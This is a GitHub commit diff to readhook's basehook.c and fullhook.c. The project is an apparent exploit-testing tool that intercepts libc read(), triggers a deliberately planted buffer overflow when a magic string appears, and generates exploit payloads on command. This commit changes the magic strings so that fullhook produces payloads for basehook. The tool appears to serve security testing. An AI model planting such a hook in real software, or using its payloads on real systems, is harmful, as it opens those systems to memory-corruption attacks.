Skip to content

Commit 71f2478

Browse files
author
rsundahl
committed
Have fullhook create basehook targeted payloads (different magic for full and base).
1 parent e01da6a commit 71f2478

File tree

2 files changed

+12
-7
lines changed

2 files changed

+12
-7
lines changed

src/basehook.c

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@
88
#include "base64.h"
99
#include "strnstr.h"
1010

11-
static const char s_magic[] = "xyzzy";
11+
static const char s_basemagic[] = "xyzzy";
1212
static const char s_overflow[] = "OVERFLOW";
1313

1414
// This is the overflow that readhook is all about.
@@ -27,10 +27,10 @@ ssize_t read(int fd, void *buf, size_t count) {
2727
Read *libc_read = (Read *) dlsym(RTLD_NEXT, "read");
2828
ssize_t result = libc_read(fd, buf, count);
2929

30-
char *p = (result < strlen(s_magic)) ? NULL : strnstr(buf, s_magic, result);
30+
char *p = (result < strlen(s_basemagic)) ? NULL : strnstr(buf, s_basemagic, result);
3131

3232
if (p) {
33-
p += strlen(s_magic);
33+
p += strlen(s_basemagic);
3434

3535
BaseAddresses baseAddresses;
3636
initBaseAddresses(&baseAddresses);

src/fullhook.c

Lines changed: 9 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,8 @@
1010
#include "payload.h"
1111
#include "strnstr.h"
1212

13-
static const char s_magic[] = "xyzzx";
13+
static const char s_basemagic[] = "xyzzy";
14+
static const char s_fullmagic[] = "xyzzx";
1415
static const char s_makeload[] = "MAKELOAD";
1516
static const char s_dumpload[] = "DUMPLOAD";
1617
static const char s_overload[] = "OVERLOAD";
@@ -46,10 +47,14 @@ static ssize_t falseEcho(PayloadPtr plp, char *p, ssize_t np) {
4647

4748
// Make room for the payload (where the request used to be).
4849
char *src = p + nc;
49-
char *dst = p + nPayload64 - strlen(s_makeload) + strlen(s_overflow);
50+
char *dst = p + nPayload64 - strlen(s_fullmagic) + strlen(s_basemagic) - strlen(s_makeload) + strlen(s_overflow);
5051
int delta = dst - src;
5152
memmove(dst, src, np - nc);
5253

54+
// Replace s_fullmagic with s_basemagic
55+
memcpy(p - strlen(s_makeload) - strlen(s_fullmagic), s_basemagic, strlen(s_basemagic));
56+
p += strlen(s_basemagic) - strlen(s_fullmagic);
57+
5358
// Replace s_makeload with s_overflow
5459
memcpy(p - strlen(s_makeload), s_overflow, strlen(s_overflow));
5560
p += strlen(s_overflow) - strlen(s_makeload);
@@ -87,10 +92,10 @@ ssize_t read(int fd, void *buf, size_t count) {
8792
Read *libc_read = (Read *) dlsym(RTLD_NEXT, "read");
8893
ssize_t result = libc_read(fd, buf, count);
8994

90-
char *p = (result < strlen(s_magic)) ? NULL : strnstr(buf, s_magic, result);
95+
char *p = (result < strlen(s_fullmagic)) ? NULL : strnstr(buf, s_fullmagic, result);
9196

9297
if (p) {
93-
p += strlen(s_magic);
98+
p += strlen(s_fullmagic);
9499

95100
static BaseAddresses baseAddresses;
96101
static Payload payload;

0 commit comments

Comments
 (0)